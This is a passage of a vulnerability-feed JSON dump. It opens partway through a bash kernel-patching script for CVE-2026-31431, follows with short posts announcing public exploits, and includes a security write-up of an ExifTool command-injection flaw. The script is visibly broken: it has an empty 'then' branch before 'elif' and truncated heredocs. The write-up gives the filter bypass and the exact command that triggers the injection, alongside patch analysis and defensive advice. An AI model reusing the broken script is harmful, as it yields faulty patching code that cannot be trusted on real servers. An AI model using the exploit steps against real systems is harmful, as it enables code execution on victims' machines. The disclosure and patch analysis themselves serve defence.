default\"\n\n        # Set GRUB default to the fixed kernel\n        if grubby --set-default /boot/vmlinuz-$MINIMUM_FIXED_KERNEL 2>&1 | tee -a \"$LOG_FILE\"; then\n            echo -e \"  ${GREEN}GRUB default updated to fixed kernel${NC}\"\n            log \"SUCCESS: GRUB default set to $MINIMUM_FIXED_KERNEL\"\n\n            NEW_KERNEL_INSTALLED=\"kernel-$MINIMUM_FIXED_KERNEL\"\n            UPDATES_AVAILABLE=false\n            VULN_FIX_STATUS=\"TO_BE_VERIFIED_POST_REBOOT\"\n\n            # Skip to save patch status section\n        else\n            echo -e \"  ${RED}Failed to update GRUB default${NC}\"\n            log \"ERROR: Failed to set GRUB default\"\n            exit 1\n        fi\n    else\n        echo \"\"\n        echo \"  Attempting kernel update using AWS recommended method...\"\n        echo \"  Using: dnf update kernel --releasever 2023.11.20260509\"\n        log \"Forcing kernel update with releasever 2023.11.20260509\"\n\n        UPDATES_AVAILABLE=true\n        VULN_FIX_STATUS=\"TO_BE_VERIFIED_POST_REBOOT\"\n    fi\nelif [ \"$DISTRO\" == \"ubuntu\" ] || [ \"$DISTRO\" == \"debian\" ]; then\n    if apt-cache policy linux-image-generic | grep -q \"Candidate:\"; then\n        UPDATES_AVAILABLE=true\n        AVAILABLE_KERNEL=$(apt-cache policy linux-image-generic | grep Candidate | awk '{print $2}')\n        echo \"  Kernel update available: $AVAILABLE_KERNEL\"\n        log \"Kernel update available: $AVAILABLE_KERNEL\"\n\n        echo \"\"\n        echo \"  Proceeding with kernel update to latest version\"\n        log \"Proceeding with kernel update\"\n        VULN_FIX_STATUS=\"TO_BE_VERIFIED_POST_REBOOT\"\n    else\n        echo \"  No kernel updates available - already on latest kernel\"\n        log \"No updates available - system on latest kernel\"\n        echo \"\"\n        echo -e \"${YELLOW}System is already on the latest available kernel.${NC}\"\n        echo \"Current kernel: $CURRENT_KERNEL\"\n        echo \"\"\n        log \"No updates available - exiting\"\n        exit 0\n    fi\nfi\n\n# Step 4: Apply kernel updates (only if not already installed)\nif [ \"$UPDATES_AVAILABLE\" = true ]; then\n    echo \"\"\n    echo \"[4/5] Applying kernel updates...\"\n    log \"Applying kernel updates\"\n\n    echo -e \"${YELLOW}Proceeding with kernel update (automated deployment)${NC}\"\n    log \"Automated kernel update initiated\"\n\n    if [ \"$DISTRO\" == \"amzn\" ] || [ \"$DISTRO\" == \"rhel\" ]; then\n        # AWS recommended command for Amazon Linux 2023\n        log \"Running: dnf update kernel --releasever 2023.11.20260509 -y\"\n        echo \"  Using AWS recommended update command with releasever 2023.11.20260509\"\n        if dnf update kernel --releasever 2023.11.20260509 -y 2>&1 | tee -a \"$LOG_FILE\"; then\n            log \"SUCCESS: Kernel updated successfully\"\n            echo -e \"${GREEN}  Kernel updated successfully${NC}\"\n        else\n            log \"ERROR: Kernel update failed\"\n            echo -e \"${RED}  Kernel update failed${NC}\"\n            exit 1\n        fi\n    fi\nelse\n    echo \"\"\n    echo \"[4/5] Kernel update skipped (already installed, GRUB updated)\"\n    log \"Skipped dnf update - kernel already installed, GRUB updated\"\nfi\n\nif [ \"$UPDATES_AVAILABLE\" = true ]; then\nelif [ \"$DISTRO\" == \"ubuntu\" ] || [ \"$DISTRO\" == \"debian\" ]; then\n    log \"Running: apt-get upgrade linux-image-generic -y\"\n    if apt-get upgrade linux-image-generic -y 2>&1 | tee -a \"$LOG_FILE\"; then\n        log \"SUCCESS: Kernel updated successfully\"\n        echo -e \"${GREEN}  Kernel updated successfully${NC}\"\n    else\n        log \"ERROR: Kernel update failed\"\n        echo -e \"${RED}  Kernel update failed${NC}\"\n        exit 1\n    fi\nfi\n\n# Step 5: Post-patch verification\necho \"\"\necho \"[5/5] Post-patch verification...\"\nlog \"Performing post-patch verification\"\n\nNEW_KERNEL_INSTALLED=$(rpm -qa kernel --last 2>/dev/null | head -1 | awk '{print $1}' || dpkg -l | grep linux-image | tail -1 | awk '{print $3}')\necho \"  New kernel installed: $NEW_KERNEL_INSTALLED\"\nlog \"New kernel installed: $NEW_KERNEL_INSTALLED\"\n\n# Save patch status\ncat > \"/var/log/cve-2026-31431-patch-status.json\" </dev/null; then\n    echo -e \"${GREEN}  Results uploaded to s3://$S3_BUCKET/$RESULTS_PREFIX/$RESULT_FILE${NC}\"\n    log \"Results uploaded to S3 successfully\"\nelse\n    echo -e \"${YELLOW}  Warning: Could not upload results to S3${NC}\"\n    log \"WARNING: S3 upload failed\"\nfi\n\n# Final summary\necho \"\"\necho \"==========================================\"\necho \"PATCHING SUMMARY\"\necho \"==========================================\"\necho -e \"${GREEN}Status: PATCH APPLIED${NC}\"\necho \"\"\necho \"Previous kernel: $CURRENT_KERNEL\"\necho \"New kernel: $NEW_KERNEL_INSTALLED\"\necho \"\"\necho \"Vulnerability Fix Status: Will be verified after reboot\"\necho \"\"\n\n# Schedule post-reboot verification\ncat > \"/var/lib/cloud/scripts/per-boot/verify-kernel-patch.sh\" <<'VERIFY_EOF'\n#!/bin/bash\n# Post-reboot verification script\nHOSTNAME=$(hostname)\nCURRENT_KERNEL=$(uname -r)\nS3_BUCKET=\"eps-server-prep\"\nRESULTS_PREFIX=\"results\"\nMINIMUM_FIXED_KERNEL=\"6.1.170-210.320.amzn2023\"\n\n# Helper function to compare kernel versions\ncompare_kernel_versions() {\n    local current=\"$1\"\n    local minimum=\"$2\"\n\n    local curr_major=$(echo \"$current\" | cut -d. -f1)\n    local curr_minor=$(echo \"$current\" | cut -d. -f2)\n    local curr_patch=$(echo \"$current\" | cut -d. -f3 | cut -d- -f1)\n    local curr_build1=$(echo \"$current\" | cut -d- -f2 | cut -d. -f1)\n    local curr_build2=$(echo \"$current\" | cut -d- -f2 | cut -d. -f2)\n\n    local min_major=$(echo \"$minimum\" | cut -d. -f1)\n    local min_minor=$(echo \"$minimum\" | cut -d. -f2)\n    local min_patch=$(echo \"$minimum\" | cut -d. -f3 | cut -d- -f1)\n    local min_build1=$(echo \"$minimum\" | cut -d- -f2 | cut -d. -f1)\n    local min_build2=$(echo \"$minimum\" | cut -d- -f2 | cut -d. -f2)\n\n    if [ \"$curr_major\" -gt \"$min_major\" ]; then return 0; fi\n    if [ \"$curr_major\" -lt \"$min_major\" ]; then return 1; fi\n    if [ \"$curr_minor\" -gt \"$min_minor\" ]; then return 0; fi\n    if [ \"$curr_minor\" -lt \"$min_minor\" ]; then return 1; fi\n    if [ \"$curr_patch\" -gt \"$min_patch\" ]; then return 0; fi\n    if [ \"$curr_patch\" -lt \"$min_patch\" ]; then return 1; fi\n    if [ \"$curr_build1\" -gt \"$min_build1\" ]; then return 0; fi\n    if [ \"$curr_build1\" -lt \"$min_build1\" ]; then return 1; fi\n    if [ \"$curr_build2\" -ge \"$min_build2\" ]; then return 0; fi\n    return 1\n}\n\n# Check if kernel meets minimum version\nKERNEL_VERSION_STATUS=\"UNKNOWN\"\nif compare_kernel_versions \"$CURRENT_KERNEL\" \"$MINIMUM_FIXED_KERNEL\"; then\n    KERNEL_VERSION_STATUS=\"MEETS_MINIMUM\"\nelse\n    KERNEL_VERSION_STATUS=\"BELOW_MINIMUM\"\nfi\n\n# Check Copy Fail vulnerability\nCOPY_FAIL_STATUS=\"UNKNOWN\"\nif modinfo algif_aead &>/dev/null; then\n    if lsmod | grep -q algif_aead; then\n        COPY_FAIL_STATUS=\"STILL_VULNERABLE\"\n    else\n        COPY_FAIL_STATUS=\"MITIGATED\"\n    fi\nelse\n    COPY_FAIL_STATUS=\"FIXED\"\nfi\n\n# Check Dirty Frag - fixed in kernel 6.1.170+\nDIRTY_FRAG_STATUS=\"UNKNOWN\"\nif [ \"$KERNEL_VERSION_STATUS\" == \"MEETS_MINIMUM\" ]; then\n    DIRTY_FRAG_STATUS=\"FIXED\"\nelse\n    DIRTY_FRAG_STATUS=\"NOT_FIXED\"\nfi\n\n# Check for Phase 1 mitigation file\nif [ -f \"/etc/modprobe.d/disable-algif-aead-cve-2026-31431.conf\" ]; then\n    MITIGATION_ACTIVE=\"YES\"\nelse\n    MITIGATION_ACTIVE=\"NO\"\nfi\n\n# Determine overall status\nOVERALL_STATUS=\"UNKNOWN\"\nif [ \"$KERNEL_VERSION_STATUS\" == \"MEETS_MINIMUM\" ] && [ \"$COPY_FAIL_STATUS\" != \"STILL_VULNERABLE\" ] && [ \"$DIRTY_FRAG_STATUS\" == \"FIXED\" ]; then\n    OVERALL_STATUS=\"FULLY_REMEDIATED\"\nelif [ \"$KERNEL_VERSION_STATUS\" == \"MEETS_MINIMUM\" ] && [ \"$COPY_FAIL_STATUS\" == \"MITIGATED\" ]; then\n    OVERALL_STATUS=\"MITIGATED\"\nelse\n    OVERALL_STATUS=\"NOT_REMEDIATED\"\nfi\n\n# Create post-reboot results\ncat > \"/tmp/${HOSTNAME}-post-reboot-verification.json\" </dev/null\n\n# Remove this script so it only runs once\nrm -f /var/lib/cloud/scripts/per-boot/verify-kernel-patch.sh\nVERIFY_EOF\n\nchmod +x /var/lib/cloud/scripts/per-boot/verify-kernel-patch.sh\nlog \"Post-reboot verification script created\"\n\nif [ \"$AUTO_REBOOT\" == \"yes\" ]; then\n    echo -e \"${YELLOW}AUTOMATIC REBOOT IN 10 SECONDS${NC}\"\n    echo \"\"\n    echo \"The system will reboot automatically in 10 seconds to load the new kernel.\"\n    echo \"Post-reboot verification will run automatically.\"\n    echo \"Results will be uploaded to s3://$S3_BUCKET/$RESULTS_PREFIX/\"\n    echo \"\"\n    log \"Scheduling automatic reboot in 10 seconds\"\n\n    sleep 10\n    log \"Initiating system reboot\"\n    echo \"Rebooting now...\"\n    reboot\nelse\n    echo -e \"${YELLOW}REBOOT REQUIRED${NC}\"\n    echo \"\"\n    echo \"The kernel has been updated. Please reboot to load the new kernel.\"\n    echo \"Post-reboot verification will run automatically after reboot.\"\n    echo \"\"\n    log \"Kernel patching completed - manual reboot required\"\nfi\n\nexit 0\n", "creation_timestamp": "2026-05-19T20:24:34.000000Z"}, {"uuid": "c183f40e-b3c2-420a-a1e4-791918701a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/10496", "content": "DirtyDecrypt PoC Released for Linux Kernel CVE-2026-31635 LPE Vulnerability \u2013 thehackernews.com\n\nTue, 19 May 2026 22:56:26", "creation_timestamp": "2026-05-19T20:04:10.000000Z"}, {"uuid": "a24ecbbc-dbb0-4c0c-8b1a-cdbcecc5913e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/9038", "content": "\ud83d\udea8 Public PoC exploit code is out for DirtyDecrypt, a patched Linux kernel flaw linked to CVE-2026-31635 that could allow local privilege escalation.\n\nIt affects CONFIG_RXGK-enabled systems, including Fedora, Arch Linux, and openSUSE Tumbleweed.\n\nDetails: https://thehackernews.com/2026/05/dirtydecrypt-poc-released-for-linux.html", "creation_timestamp": "2026-05-19T15:00:53.000000Z"}, {"uuid": "72f99f1e-5840-4797-9d64-d03a55bf77e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mmafmaye462u", "content": "\ud83d\udd12 DirtyDecrypt PoC Released for Linux Kernel CVE-2026-31635 LPE Vulnerability\n\nProof-of-concept (PoC) exploit code has now been released for a recently patched security flaw in the ...\n\nhttps://tinyurl.com/a2j57jkd #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-05-19T22:06:35.104103Z"}, {"uuid": "1ed8ef63-5d70-426f-b34f-ec3bce803109", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/GithubRedTeam/84874", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31635\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-19 21:42:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31635\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-19T22:00:05.000000Z"}, {"uuid": "4858f319-ca5a-44e2-90df-282b53c8d429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mmaueesnqq2x", "content": "Top 3 CVE for last 7 days:\nCVE-2026-42897: 56 interactions\nCVE-2026-46300: 56 interactions\nCVE-2026-42945: 50 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31635: 9 interactions\nCVE-2026-42945: 8 interactions\nCVE-2026-41054: 4 interactions\n", "creation_timestamp": "2026-05-20T02:30:37.714521Z"}, {"uuid": "8267461e-3694-4326-835a-e5dd8462f7bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31705", "type": "seen", "source": "https://bsky.app/profile/theresidentmachine.bsky.social/post/3mmayyacd7e2c", "content": "CVE-2026-31705: When the Padding Forgot to Ask\n\n#TheResident #ehabhussein #cybersecurity #infosec #vulnerability #CVE #hacking #security #CVE202631705", "creation_timestamp": "2026-05-20T03:53:30.992726Z"}, {"uuid": "ae85050a-c87d-4d3e-9b1a-88480bf77ba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31705", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mmayyaqujf2y", "content": "CVE-2026-31705: When the Padding Forgot to Ask\n\n#TheResident #ehabhussein #potatosecurity #infosec #vulnerability #CVE #mashing #security #CVE202631705", "creation_timestamp": "2026-05-20T03:53:31.708504Z"}, {"uuid": "0728ab7f-0932-4578-9d2b-c32f199f057f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/GithubRedTeam/84898", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a DirtyDecrypt\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aexdyhaxor\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-20 02:24:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDirtyDecrypt PoC Released for Linux Kernel CVE-2026-31635 LPE Vulnerability\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-20T03:00:04.000000Z"}, {"uuid": "c1c06e05-1257-4240-beff-ac85e7343757", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3141", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mrys4r3tmi2j", "content": "CVE-2026-3141: CRITICAL flaw in wpwax FormGent for WordPress lets unauthenticated users delete files via REST API \u2014 potential for site takeover. Restrict vulnerable endpoints immediately. https://radar.offseq.com/threat/cve-2026-3141-cwe-862-missing-authorization-in-wpwax-formgent-next-gen-ai-for...", "creation_timestamp": "2026-08-01T06:00:26.687061Z"}, {"uuid": "badd42da-fdb9-4055-91d6-6099a52f016b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mmbhtdzeede2", "content": "DirtyDecrypt: PoC Released for yet another Linux flaw DirtyDecrypt (CVE-2026-31635): working PoC out for a Linux kernel LPE flaw. Missing COW guard in rxgk_decrypt_skb lets local attackers reach ro...\n\n#Uncategorized #DirtyDecrypt #Hacking #hacking #news #information #security #news #IT [\u2026]", "creation_timestamp": "2026-05-20T08:19:07.903821Z"}, {"uuid": "abef0cbe-4379-4c32-9e78-9ad8b2575a95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-dda276fb-398aac03703b8c4f", "content": "How an image could compromise your Mac: understanding an ExifTool vulnerability (CVE-2026-3102)\nIntroduction\nExifTool is a widely adopted utility for reading and writing metadata in image, PDF, audio, and video files. It is available both as a standalone command-line application and as a library that can be embedded in other software. In this article, we break down CVE-2026-3102, an ExifTool vulnerability discovered by Kaspersky\u2019s Global Research and Analysis Team (GReAT) in February 2026 and patched by the developers within the same month. Affecting macOS systems with ExifTool version 13.49 and earlier, this flaw could let an attacker run arbitrary commands by hiding instructions inside an image file\u2019s metadata.\nThis investigation originated from revisiting an n-day vulnerability I first examined years ago: CVE-2021-22204. That flaw exploited weak regex-based sanitization before feeding user input into an eval sink. By auditing adjacent input validation routines across ExifTool codebase for similar oversights, I discovered CVE-2026-3102. Successful exploitation of CVE-2026-3102 enables an attacker to execute arbitrary shell commands with the privileges of the user invoking ExifTool, potentially leading to full system compromise.\nTechnical details\nDisclaimer\nExploiting CVE-2026-3102 requires the -n (also known as -printConv) flag and outputs machine-readable data without additional processing.\nTracing the vulnerable sink\nTaint analysis (aka tainted data analysis) allows for the detection of \u201cdirty\u201d data that reaches dangerous locations without validation. In this context, a \u201csink\u201d is a point or function in a program where data or a parameter marked as \u201ctainted\u201d or originating from an untrusted source (e.g., user input) can affect the program\u2019s behavior. In ExifTool, these functions are eval and system, both of which are capable of executing system commands. While CVE-2021-22204 exploited an eval function as a sink, this vulnerability (CVE-2026-3102) targets the system function. Knowing the vulnerable sink, we needed to trace how user-controlled data reaches it. Below, we break down the details.\n\nFinding an unsanitized date value\nThe screenshot above shows where the system() sink resides within the SetMacOSTags function. Tracing backward from system(), we identified the $cmd variable as the source of the executed command. This variable is assembled from three inputs: $file (properly sanitized), $setTags (processed iteratively), and $val (user-controlled and, crucially, left unsanitized in the vulnerable branch).\nIn ExifTool, a tag is a named metadata field. When parsing an image, the utility extracts date and time values from standard EXIF records or macOS filesystem attributes. To handle file creation dates on macOS, ExifTool relies on the Spotlight system attribute MDItemFSCreationDate. Within the program code, this attribute maps to the internal alias $FileCreateDate. These two identifiers govern how the file creation date is stored and applied.\nThis creates a critical link to the vulnerability: when parsing an image, ExifTool iterates through the discovered tags. The current tag\u2019s name is assigned to the $tag variable, while its text content (e.g., a date string) is assigned to $val. The vulnerable code path is triggered only when $tag matches MDItemFSCreationDate or $FileCreateDate. At this point, the tag\u2019s content flows into $val and is passed to the SetMacOSTags function. As shown in the screenshot below, the filename parameter is properly escaped, but the date value ($val) is not. Because the date is extracted directly from file metadata, an attacker can inject quotes into this field. This breaks the command structure and allows the payload to execute via the system() sink.\nThe following screenshots show some of the tags that can be modified. With the vulnerable parameter identified, the next challenge was delivery: how to place our payload into FileCreateDate without triggering early validation? We found the answer in the official documentation.\n\nPlanning the payload delivery\nLet\u2019s refer to the documentation to understand how ExifTool handles tag operations and identify a legitimate feature that can be repurposed for exploitation. Specifically, we need to find a way to deliver our payload into the vulnerable FileCreateDate parameter. When looking for macOS-related tags as well as FileCreateDate, we can find the following information:\n\nTo write or delete metadata, tag values are assigned using \u2013TAG=[VALUE], and/or the -geotag, -csv= or -json=\nTo copy or move metadata, the -tagsFromFile feature is used.\n(You can find the useful info on tag operations above and how it relates under the hood in ExifTool in the dedicated section of the documentation and on the ExifTool description page.)\nTo trigger the vulnerability, we need to copy a string (date format: MM/DD/YYYY) using the -tagsFromFile feature, as this operation invokes the SetMacOSTags function where the unsanitized $val parameter reaches the system() sink.\nWhy copy instead of writing directly? Because the vulnerable code path (SetMacOSTags) is only triggered when metadata is copied into FileCreateDate \u2014 not when it is written directly. By using -tagsFromFile, we can prepare a \u201csource\u201d tag (e.g., DateTimeOriginal) that accepts arbitrary values and copy that value into FileCreateDate, thereby invoking the vulnerable function with our controlled input.\nFurthermore, we want to introduce single quotes (since they are not being escaped in $val). For starters, we can look for date-time tag and copy via -tagsFromFile by searching the EXIF tag table. Direct assignment to FileCreateDate is heavily validated, so we looked for a source tag that accepts raw values and can be copied into the target field. The following snippet shows the beginning of said table.\nWhen doing the analysis, I made use of DateTimeOriginal though I believe you can also use CreateDate which is 0x9004 (see the following screenshot). Initial attempts to inject malformed dates failed: ExifTool\u2019s built-in filter rejected the input. To bypass this, we examined how the tool handles raw metadata.\n\nBypassing the filter\nTo confirm that the PrintConvInv filter rejects invalid dates when written directly, I ran the following command, where evil_benign.jpg is a normal JPG with an invalid date time format. We are greeted with the error message: Invalid date/time. This requires the time as well. The next screenshot confirms that direct exploitation fails: ExifTool\u2019s date validation detects the malformed input and rejects the change, activating the internal PrintConvInv filter.\nThat said, it is possible to ignore the formatting and use the -n flag which accepts raw values instead of human-readable value.  The -n flag skips the PrintConvInv conversion step, which is exactly where input sanitization occurs. This confirmed we could park unsanitized data in a source tag. The final step was to trigger the vulnerable code path by copying that data into FileCreateDate. This means we should now be able to modify the DateTimeOriginal tag with the invalid date time format with an -n flag. Examining the EXIF metadata tag, we can confirm that we can store a raw value without a proper human readable format that ExifTool accepts:\nTriggering the exploit\n\nTo inject commands, we have to revisit the single quote injection into this datetime related tag.\nThe following screenshot shows that we have successfully set the datetime metadata with the single quote. With the payload safely stored in a source tag, the next step was to copy it into FileCreateDate, triggering the vulnerable system() call.\nThe next step now is to copy the datetime tag to a file which invokes SetMacOSTags. According to the documentation, this is how we can copy the data from the SRC tag to the FileCreateDate tag as seen in the SetMacOSTags with the -tagsFromFile feature.exiftool [_OPTIONS_] -tagsFromFile _SRCFILE_ [-[_DSTTAG_<]_SRCTAG_...] _FILE_...Therefore, we can craft our final command:cp evil_benign.jpg pwn.jpg;../../exiftool -n -tagsFromFile evil_benign.jpg \"-FileCreateDate<DateTimeOriginal\" pwn.jpgHere, we confirm that the payload has been executed! Note that when copying tags in MacOS (Darwin), the /usr/bin/setfile command is used. To view the full $cmd value before the injection, I have added the debugging statement to displaying the actual command that is executed within the system function.\nUpon injection, we can see that our command gets executed via command substitution. The single quotes that we added helped to make the entire command syntactically valid. The following shows a more detailed labelling and their roles in making this command line injection successful:\nSuch an image can appear completely benign and easily find its way into a newsroom or any organization that processes photos on macOS using ExifTool. Once processed, an attacker could silently deploy a Trojan for covert data exfiltration, drop additional malware, or use the compromised machine as a foothold to expand the attack within the victim\u2019s network.\nPatch analysis\nAfter verifying successful exploitation, we examined how the maintainer addressed the flaw in version 13.50. In the vulnerable version of ExifTool, commands were sanitized before being concatenated together. This means that it is possible to concatenate single quotes which led to the exploitation. However, by abstracting the system call into a dedicated wrapper and requiring a list of arguments instead of concatenated string, the fix removes the need for any manual escaping altogether.\n1. Replacing string form to argument list form:#### BEFORE$cmd = \"/usr/bin/setfile -d '${val}' '${f}'\";system $cmd;\n#### AFTERsystem('/usr/bin/setfile', '-d', $val, $file);2. Create new System() wrapper. In version 13.49, the output is piped to /dev/null . To maintain that logic, the wrapper would temporarily redirect STDOUT/STDERR to /dev/null and restore them after the call.# Call system command, redirecting all I/O to /dev/null# Inputs: system arguments# Returns: system return codesub System{ open(my $oldout, \">&STDOUT\"); open(my $olderr, \">&STDERR\"); open(STDOUT, '>', '/dev/null'); open(STDERR, '>', '/dev/null'); my $result = system(@_); open(STDOUT, \">&\", $oldout); open(STDERR, \">&\", $olderr); return $result;}\nHow to protect against ExifTool vulnerability\nIt\u2019s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don\u2019t contain an embedded older copy of the ExifTool library.\nExifTool, like any software, may contain additional vulnerabilities of this class. To harden defenses, I recommend using Kaspersky Open Source Software Threats Data Feed for continuous monitoring of open-source components in your software supply chain, and Kaspersky for macOS as comprehensive endpoint protection. Additionally, isolate processing of untrusted files on dedicated machines or virtual environments with strictly limited network and storage access. If you work with freelancers, contractors, or allow BYOD, enforce a policy that only devices with an active macOS security solution can access your corporate network.\nConclusions\nCVE-2026-3102 highlights the risks of inconsistent input sanitization in tools that bridge high-level metadata parsing with platform-specific utilities. While exploitation requires explicit flag usage (-n) and is restricted to macOS, the vulnerability underscores the danger of manual escaping routines in evolving codebases. The transition to list-form system execution provides a robust, architecture-level fix that eliminates shell interpretation risks entirely. This case reinforces a core security principle: replacing fragile string concatenation with secure, list-based API calls remains the most reliable mitigation against command injection. \nsecurelist.com/exiftool-compro\u2026", "creation_timestamp": "2026-05-20T09:25:35.706283Z"}, {"uuid": "705b77c8-0596-4307-91f5-1c40d52457ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.poliverso.org.ap.brid.gy/post/3mmblk47hlr22", "content": "**How an image could compromise your Mac: understanding an ExifTool vulnerability (CVE-2026-3102)**\n\n## Introduction\n\n\nExifTool is a widely adopted utility for reading and writing metadata in image, PDF, audio, and video files. It is available both as a [\u2026] \n\n[Original post on poliverso.org]", "creation_timestamp": "2026-05-20T09:25:50.005957Z"}, {"uuid": "2a606ad1-9863-47e9-a7b0-3e777e70b96d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/ctinow/250562", "content": "How an image could compromise your Mac: understanding an ExifTool vulnerability (CVE-2026-3102)\nhttps://ift.tt/EWmRpjv", "creation_timestamp": "2026-05-20T09:14:34.000000Z"}, {"uuid": "0f06d7e8-476a-4464-a60a-aa0136a4aa29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3141", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrytvecl5v2m", "content": "CVE-2026-3141 - formgent \u2013 next-gen ai form builder for wordpress with multi-step, quizzes, payments & more\nA security flaw in FormGent for WordPress allows unauthorized users to delete files, including sensitive ones\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#wpwax #CVE #infosec", "creation_timestamp": "2026-08-01T06:32:05.497990Z"}, {"uuid": "51dad09c-ee63-42ec-a4dd-aa29f9c84b53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84975", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #\u5bb9\u5668\u9003\u9038 #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Container-Escape\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a qi4L\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 18  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 6\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-19 04:02:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 \u5bb9\u5668\u9003\u9038\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-20T09:07:33.000000Z"}, {"uuid": "de1eb5e6-a643-4bf5-80ec-d0af4448d531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/GithubRedTeam/84960", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 